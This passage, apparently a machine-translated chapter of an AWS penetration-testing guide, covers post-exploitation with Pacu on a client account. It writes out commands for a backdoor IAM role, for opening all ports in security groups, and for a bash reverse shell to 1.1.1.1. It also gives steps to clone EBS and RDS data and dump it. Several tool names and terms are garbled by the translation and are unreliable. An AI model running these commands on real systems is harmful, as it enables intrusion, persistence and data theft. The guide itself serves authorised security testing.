如果我们想为这个后门角色请求凭据，我们将使用 STSAssumeRoleAPI。我们可以通过运行以下 AWS CLI 命令，使用我们的PersonalUser凭据来实现这一点：

aws sts assume-role --role-session-name Backdoor --role-arn arn:aws:iam::216825089941:role/A-New-Role

我们可以对最终被创建并导出到服务器的任何其他角色使用相同的命令；我们只需要修改其中的 ARN。

既然我们是帐户的管理员，我们就有了几种形式的提升持久性，并且我们还在帐户中执行了一些基本的侦察。现在，我们准备进入服务开发阶段。

开发后（或服务开发）阶段本质上是我们将尽可能多的 AWS 服务作为目标，试图发现弱点、错误配置和不良做法。在本节中，我们将介绍一些主要的 AWS 服务，但是任何 AWS 服务都有可能被利用和错误配置，因此，查看正在使用的任何服务或资源几乎总是富有成效的，即使您可能不熟悉该服务本身。

我们已经开始研究一些与 EC2 相关的东西，所以这就是我们要开始的地方。EC2 也是你在五旬节期间会遇到的最常见的服务之一，因此，熟悉它并测试它是一个好主意。EC2 在配置错误时也会产生一些高影响的发现，因此您可以将其作为主要服务来启动，而不会出错。

我们可以检查的第一件事是，如果有的话，EC2 实例具有公共 IP 地址。这在 AWSWeb 控制台中很简单，因为您可以简单地按具有公共 IP 的实例对结果进行排序。如果我们想从CompromisedUser获得控制台访问权限，我们可以使用 IAMCreateLoginProfileAPI 为我们创建登录密码，但如果我们不想这样做，我们可以使用 Pacu 中的data EC2命令查看我们之前执行的枚举结果。

然后，对于每个具有公共 IP 地址的实例，我们可以检查附加到它们的 EC2 安全组。理想情况下，我们查看安全组规则，以尝试查找实例上可能正在运行的任何服务。如果我们看到端口 80 打开到某个 IP 地址，我们就知道可能有一个 web 服务器在实例上运行。如果我们看到端口 22 打开到某个 IP 地址，我们就知道可能有一个 SSH 服务器正在运行（等等）。如果这些端口中的任何一个对公众开放，我们可以尝试访问这些端口，并查找任何悬而未决的结果，例如弱/缺乏身份验证、已知漏洞，或者您可能在网络风格的 pentest 中查找的任何其他内容。

如果满足适当的条件，我们甚至可以在没有公共 IP 地址的实例上执行相同的任务，但是通过管理员访问，我们可以使任何事情都正常工作。我们已经在帐户中启动了一个 EC2 实例以进行特权升级，因此我们可能在其他 EC2 实例的专有网络中。如果没有，我们可以启动另一个实例并通过这种方式获得访问权限。从该实例中，我们可以访问其他 EC2 实例的内部 IP，因此我们可能会获得进一步的访问权限。

如果这些都不起作用，我们可以修改这些实例上的安全组规则，以允许我们自己访问。您可以使用 EC2AuthorizeSecurityGroupIngressAPI 手动执行此操作，或者我们可以使用ec2__backdoor_ec2_sec_groups模块创建允许我们访问任何端口的后门规则。实现这一点的 Pacu 命令如下所示，我们为所有安全组打开1.1.1.1IP 地址的每个端口（模拟它是我们自己的 IP）：

run ec2__backdoor_ec2_sec_groups --port-range 1-65535 --protocol TCP --ip 1.1.1.1/32

现在，如果我们来自1.1.1.1IP 地址，我们应该能够访问任何实例上的任何端口。此时，我们可以像在常规内部网络测试中一样攻击这些服务。

如果我们想在任何 EC2 实例上直接获得 RCE，我们可以尝试几种方法。如果您不关心重新启动任何 EC2 实例（您应该关心，因为我们通常不希望对客户端服务器这样做），那么您可以使用ec2__startup_shell_scriptPacu 模块停止所有（或指定的）EC2 实例，修改它们的userdata以在启动时输入一个反向 shell 作为root/SYSTEM，然后启动所有这些实例进行备份。它们只会脱机几分钟，但如果您不熟悉环境的设置，这可能会导致重大问题，因此通常不建议这样做。

如果我们想在 EC2 实例上获得 RCE，并且满足了正确的条件，我们可以使用 Pacu 中的systemsmanager__rce_ec2模块。它尝试确定哪些 EC2 实例安装了 systems manager 代理（默认情况下或未安装），然后如果确定了任何实例，它将尝试将 systems manager 角色附加到这些实例。完成后，符合正确条件的实例将显示为 systems managerrun命令的可用目标，该命令允许您作为root/SYSTEM用户在目标实例上执行代码。在 Linux 目标上运行反向 bash shell 的示例 Pacu 命令可能如下所示：

run systemsmanager__rce_ec2 --target-os Linux --command "bash -i >& /dev/tcp/1.1.1.1/5050 0>&1"

提供给--command参数的值是一个 bash 反向 shell，它将调用端口5050上的1.1.1.1IP 地址。在我的服务器上（假设我控制1.1.1.1，我会运行一个 netcat 侦听器，比如nc -nlvp 5050，等待我的 shell 进入。请记住，这只适用于单个实例，如果要在多个实例上投放某种恶意软件或反转 shell，则需要修改有效负载。您可能还需要另一个用于 Windows 主机的有效负载。

如果在运行此模块时启用并侦听了PacuProxy，则可以省略--command参数。如果您这样做，那么 Pacu 将自动使用其定制的 Linux/Windows 一行程序 stager 来控制目标服务器。这样，您就不需要担心目标操作系统，也不需要自己编写命令。

如果我们想测试其他保护/监控功能，或者我们想完全恶意，我们可以尝试为加密货币挖掘之类的东西启动多个 EC2 实例，但由于此类攻击的成本影响，这几乎不应该在测试期间执行。只有当您的客户完全理解并希望您执行的测试时，才能执行这样的攻击。

我们可能要尝试的另一种攻击是检查帐户中的 EBS 卷和快照。我们可以通过两种方式实现这一点，但基本上是以下步骤：

1. 创建要查看的 EBS 卷的快照。
2. 与攻击者帐户共享该快照，或在受损帐户中创建 EC2 实例。
3. 从创建的快照创建新的 EBS 卷。
4. 在 EC2 实例上装载该 EBS 卷。
5. 在已装入卷的文件系统中查找秘密。

跨帐户共享 EBS 快照的好处是，您可以在自己的帐户中使用 EC2 检查所有内容，但通常共享/公共 EBS 快照会由许多配置检查器进行审核，这意味着您可能会被标记和捕获。在受损帐户中使用 EC2 实例的好处是，您可以避免跨帐户共享快照，但您随时都有被捕获和删除的风险。

ebs__explore_snapshotsPacu 模块是为了实现这一过程的自动化而构建的。您只需运行它并在帐户及其可用性区域内传入 EC2 实例的实例 ID，然后它将循环使用帐户中的所有 EBS 卷（一次几个），将它们装载到您的 EC2 实例，然后等待您完成对文件系统的搜索。完成后，它将分离它连接到实例的所有卷，删除它们，然后还将删除它创建的任何快照。运行此模块的示例命令可能如下所示：

          run ebs__explore_snapshots --instance-id i-0f4d19t8701d76a09 --zone us-east-1a

然后，这将以增量方式将 EBS 卷附加到可用性区域us-east-1a中的该实例，允许您一次以小组的形式将其签出，然后它将在之后为您清理所有内容。

Lambda 是另一个非常常见和非常有成效的服务，正如我们在 Lambda pentesting 一章中看到的。

我们要做的第一件事是使用lambda__enumPacu 模块枚举目标帐户中的 Lambda 函数。我们可以在没有任何参数的情况下运行它，如下所示：

          run lambda__enum

完成后，我们可以运行data Lambda查看枚举的函数数据。要开始审查过程，我们应该循环检查每个函数，并查看与之相关的环境变量，以尝试找到一些可能对我们的攻击有用的敏感数据/值。

在检查了环境变量中感兴趣的数据之后，如果我们发现了任何东西，比如我们发现了 API 密钥或密码，那么我们将需要截屏并对其进行记录，以便我们可以向客户机报告。如果我们发现的东西在某种程度上有可能被滥用，那么现在可能是时候这样做了，但只有当它仍在您的参与范围内时才这样做。有时，您发现的秘密属于第三方服务，您可能不应该攻击它们，但在其他情况下，如果您可以通过权限提升进行资本化或获得跨 AWS 帐户访问某处的权限，那么在与您的客户联系点确认后，这可能是值得的。

完成后，您可以浏览 Pacu Lambda 数据并下载每个 Lambda 函数的代码以进行本地分析。下载后，您可以在其上运行静态源代码安全工具，如 Bandit for Python，以尝试发现代码中的任何固有缺陷。

在对代码进行自动和手动审查之后，如果您发现了任何潜在的漏洞，现在是时候利用这些漏洞来确认发现了。如果看到 Lambda 函数由 S3 触发，然后将用户可控制的数据放入不安全的操作系统命令中，则可以使用此命令在 Lambda 函数上获得远程代码执行，以窃取附加 IAM 角色的 IAM 凭据。

使用正确的 RDS 权限，我们可以作为管理员用户潜在地获得对目标帐户中任何 RDS 数据库实例的完全访问权限，这将授予我们对存储在中的数据的完全访问权限。

此攻击过程可以手动完成，也可以使用rds__explore_snapshotsPacu 模块完成。我们的目标是滥用 RDS 数据库实例备份，使用我们自己的私有访问权限创建现有数据库的新副本。如果我们获得了对 RDS 的访问，并且只有一个实例，并且没有备份，那么该过程将需要以下步骤：

1. 创建正在运行的数据库实例的快照。
2. 将该快照还原到新的数据库实例。
3. 将新数据库实例的主密码更改为已知密码。
4. 将数据库更改为可公开访问，并修改任何安全组规则，以允许我们对正确端口进行入站访问。
5. 使用我们设置的凭据连接到数据库。
6. 使用类似于mysqldump的内容来过滤整个数据库。

一旦连接，它将是帐户中单个生产数据库的完整副本，这意味着我们可以用它做任何我们想做的事情。根据数据库中的数据量，一个好的做法是使用类似于mysqldump的工具对 SQL 数据库进行过滤，以手动梳理或将其导入到另一个外部数据库中，该数据库在任何时候都不会被撤销访问权。确保删除您为原始数据库创建的快照以及完成后创建的数据库实例；否则，您可能会在目标帐户中增加一些费用。这可能是不好的，原因有几个，包括让你的客户生气和/或让你的活动被账单警报捕获。

这是一个手动执行的简单过程，但通常情况下，自动化是一个更好的决策，这样您就不会犯任何手动错误并在过程中破坏生产数据库。您只需运行以下 Pacu 命令，即可自动化所有数据库实例的大部分过程（对特定区域使用--region标志）：

run rds__explore_snapshots

来自rds__explore_snapshots模块的部分输出

前面的屏幕截图显示了rds__explore_snapshots模块的部分输出。它将扫描您为 RDS 实例指定的区域，给出它们的名称，然后提示您是否复制。如果选择“是”，它将创建该数据库的快照，将该快照还原到新数据库，修改主密码，然后向您提供连接凭据。然后，您可以使用类似于mysqldump的内容转储数据库，或者从数据库中获取所需的特定数据。之后，您将在 Pacu 中按键并输入键，进入下一个可用的数据库，然后模块将删除它刚刚创建的数据库快照和数据库实例。如果模块在其任何进程中出现故障，则当您再次运行该模块时，它将尝试清理以前运行中的所有未完成资源。这样，您就不必担心删除为攻击创建的任何资源。

关于这种对 RDS 的攻击的另一个有趣的地方是，修改主密码与一系列其他配置更改集中在一起，因此它不一定是一个受高度监控的 API 调用。它使用 RDSModifyDbInstanceAPI 更改主密码，但同样的 API 也用于修改网络设置、监控设置、身份验证设置、日志记录设置等。

已经有很多关于 AWSS3 的研究，但是从认证的角度来看，有点不同。在开发阶段进入 S3 时，大部分过程都是围绕着识别不应该存在的公共资源（桶/对象）构建的，但也不仅仅是这些。现在是时候回顾围绕 S3 构建的自动化，看看它是如何被利用的，同时也是时候回顾各种 bucket 的内容，看看您是否可以从发现的内容中获得进一步的访问。

客户机知道他们的开发人员可以访问 X、Y 和 Z S3 存储桶，并且您发现存储在存储桶 Y 中的私有 SSH 密钥，这将有助于客户机了解这一点，这将导致 EC2 实例的泄露，该实例提供了进一步的 AWS 凭据，等等。不遵循最小特权原则的客户端通常会受到各种攻击，特别是在 S3 中。

在查看存储在 S3 中的文件时，查看每个 bucket 中的每个文件通常需要花费太长的时间，因此最好对您要查找的内容进行优先级排序。通常情况下，bucket、file 和 folder 名称将是文件是否值得查看的最佳指示器。像names.txt这样的东西可能不值得你花时间，但像backup.sql这样的东西值得你花时间。通常，最好在这些文件中搜索凭据、API 密钥、客户数据或任何敏感信息。您可以使用此数据显示权限提升路径、跨帐户泄露攻击以及其他任何内容，具体取决于您找到的数据类型。也许它允许你访问他们的公司网站，或者他们的内部 VPN。有无限的可能性，这完全取决于你发现了什么。

在寻找公共资源时，最好将所有发现告知客户，即使内容不敏感。如果将整个 bucket 设置为 public，则可能有人无意中上载了一个不应该是 public 的文件，或者如果 bucket 是可公开列出的，则找到 bucket 名称的用户将能够枚举 bucket 中的每个文件。需要注意的是，即使 bucket 中的文件需要是公共的，bucket 也不需要是可公开列出的。

在查看围绕 S3 构建的自动化时，最好检查 S3 事件和每个 bucket 上的日志记录。通过这种方式，您可以看到他们是如何处理（或不处理）其私有存储桶中的活动的。

S3 bucket 和文件名作为环境中的一种侦察类型也很有用。通常，您会发现某些 AWS 服务仅基于 S3 存储桶名称在帐户中使用。许多服务和函数将使用模板化名称自动创建 S3 存储桶，因此在这种情况下进行关联很简单。

除了完全利用 AWS 服务和资源外，在尽可能多的位置为客户提供一般安全审计也很重要。这些类型的检查通常分为一小部分：

• 公众访问：
  • X 可以公开访问吗？有可能吗？
• 加密：
  • Y 在休息时被加密了吗？Z 在运输过程中加密了吗？
• 记录：
  • 是否为 C 启用了日志？那些日志有什么处理吗？
• 备份：
  • D 是否正在备份？多久？
• 其他安全控制：
  • 是否正在使用 MFA？
  • 密码策略强度？
  • 对正确资源的删除保护？

当然，这不仅仅是少数几个，但一般来说，这些是最常见的发现类型。

现在已经有很多工具可以提供对环境的这种深入了解，包括以下工具：

• 徘徊者
• 保安猴
• 球团 2/球团岩

还有很多其他的，它们都做了一些与下一个稍有不同的事情，所以它通常是个人的选择，你最终会使用哪一个。

AWS pentesting 是一个广泛的过程，需要广泛的知识和奉献精神，它确实是一个永无止境的过程。AWS 总是发布新的服务和功能，因此这些服务总是会有新的安全检查和攻击。

作为 pentester，很难说您已经完成了 AWS 环境的 Pentest 测试，因为 AWS 环境是如此的庞大和复杂，因此尽可能多地攻击不同的服务和攻击是很重要的，同时要遵守与客户商定的时间表。

你做的每一次现实世界的 pentest 都可能与前一次有很大的不同。由于 AWS 及其产品的规模和复杂性，无论你走到哪里，人们都会以不同的方式做事，因此，永远不要感到舒适，而是始终期望学习、教学和成功。

我们希望您在本章中所学到的关于真实世界 AWS 渗透测试的知识能够帮助您完成自己的工作，并推动整个 AWS 安全社区向前发展。我们介绍了最初的 pentest 启动和未经验证加验证的侦察，包括权限枚举。然后，我们继续通过 IAM 错误配置升级这些权限，然后使用提升的访问权限在环境中建立持久性的方法。在我们的访问得到保证之后，我们继续进行 AWS 服务的一般后期开发，在这里所有真正的魔法都发生了。除此之外，我们还简要介绍了如何识别和汇总合规性和最佳实践检查，以向客户提供全面、有用的报告。

AWS pentesting 是一个有趣、复杂的过程，只能在上面进行扩展，因此现在我们需要您走出去，贡献您的知识和经验，为所有用户创造一个安全的 AWS 体验。